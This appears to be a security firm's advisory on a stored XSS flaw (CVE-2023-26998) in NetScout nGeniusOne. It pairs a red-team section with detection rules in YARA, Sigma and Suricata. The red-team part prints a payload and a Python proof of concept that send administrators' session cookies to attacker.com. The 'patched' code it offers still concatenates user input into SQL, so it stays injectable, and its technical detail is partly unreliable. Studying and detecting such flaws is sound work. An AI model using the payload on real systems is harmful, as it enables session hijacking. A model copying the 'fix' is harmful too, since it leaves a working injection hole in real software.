CVE-2023-26998

Executive Summary

CVE-2023-26998 identifies a stored Cross-Site Scripting (XSS) vulnerability in NetScout nGeniusOne version 6.3.4. A remote, unauthenticated attacker can inject arbitrary JavaScript code via the creator parameter on the Alert Configuration page. This flaw allows the attacker to execute malicious scripts in the context of an authenticated administrator’s browser session, potentially leading to session hijacking, credential theft, or further compromise of the nGeniusOne management interface. No official patch or public exploit code has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): Required (victim must visit the crafted page)
• Scope (S): Changed (likely)
• Confidentiality (C): Low (likely)
• Integrity (I): Low (likely)
• Availability (A): None (likely)

Threat Level: Medium. While the CVSS score is unassigned, the lack of authentication required for injection and the potential for admin-level impact raises the risk.

Deep Dive & Mechanics

The vulnerability resides in the Alert Configuration page of NetScout nGeniusOne. The creator parameter is not properly sanitized before being rendered in the web interface. An attacker can craft a URL or POST request containing malicious JavaScript in the creator field. When an administrator views the affected alert configuration, the injected script executes in the admin’s browser.

Attack Flow:

1. Attacker sends a crafted request to the nGeniusOne server (e.g., POST /alertConfig?creator=<script>alert(1)</script>).
2. The server stores the malicious payload in its database.
3. An administrator navigates to the Alert Configuration page.
4. The server renders the stored payload without sanitization.
5. The victim’s browser executes the attacker’s script.

Impact: The attacker can steal session cookies, perform actions on behalf of the admin, or redirect to phishing pages.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// nGeniusOne Alert Configuration handler
$creator = $_POST['creator'];
// No sanitization
$query = "INSERT INTO alerts (creator) VALUES ('$creator')";

Patched Code (Expected):

// nGeniusOne Alert Configuration handler
$creator = htmlspecialchars($_POST['creator'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO alerts (creator) VALUES ('$creator')";

The fix requires proper output encoding (e.g., htmlspecialchars in PHP) or input validation to strip script tags.

Exploitation & Lab Setup

Red Team

Lab Environment:

• NetScout nGeniusOne v6.3.4 (virtual appliance)
• Kali Linux attacker machine
• Burp Suite or custom Python script

Exploitation Steps:

1. Intercept a request to the Alert Configuration page.
2. Modify the creator parameter to include a payload:

   creator=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send the request.
4. Wait for an admin to view the alert configuration.
5. Receive the stolen cookie at your listener.

Python Proof-of-Concept:

import requests

target = "https://ngeniusserver/alertConfig"
payload = "<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
data = {"creator": payload}
requests.post(target, data=data, verify=False)

Blue Team

Detection:

• Monitor for unusual creator parameter values containing <script> or event handlers.
• Alert on POST requests to /alertConfig with non-standard characters.

Hunting:

• Search logs for creator= followed by HTML tags.
• Review database entries in the alerts table for script injection.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /alertConfig with creator parameter containing <script>, <img>, or onerror attributes.
• Logs: Web server logs showing creator=<script> patterns.
• File: No specific file IOCs; the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2023_26998_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-26998 in NetScout nGeniusOne"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = /creator=<script[^>]*>/i
        $xss2 = /creator=<img[^>]*onerror/i
        $xss3 = /creator=<svg[^>]*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-26998 XSS Attempt in NetScout nGeniusOne
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS payloads in the creator parameter of nGeniusOne Alert Configuration
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'creator='
        cs-uri-query|re: 'creator=<.*script.*>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in creator field (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-26998 XSS Attempt in NetScout nGeniusOne";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/alertConfig"; http_uri;
    content:"creator="; http_client_body;
    pcre:"/creator=<[^>]*script[^>]*>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Restrict access to the nGeniusOne web interface to trusted IPs only.
2. Short-term: Apply input validation and output encoding to the creator parameter. Use a Web Application Firewall (WAF) to block XSS patterns.
3. Long-term: Upgrade to a patched version when released by NetScout. Implement Content Security Policy (CSP) headers to mitigate script execution.
4. Workaround: Disable the Alert Configuration page if not required.

Valters IT
Securing Digital Frontiers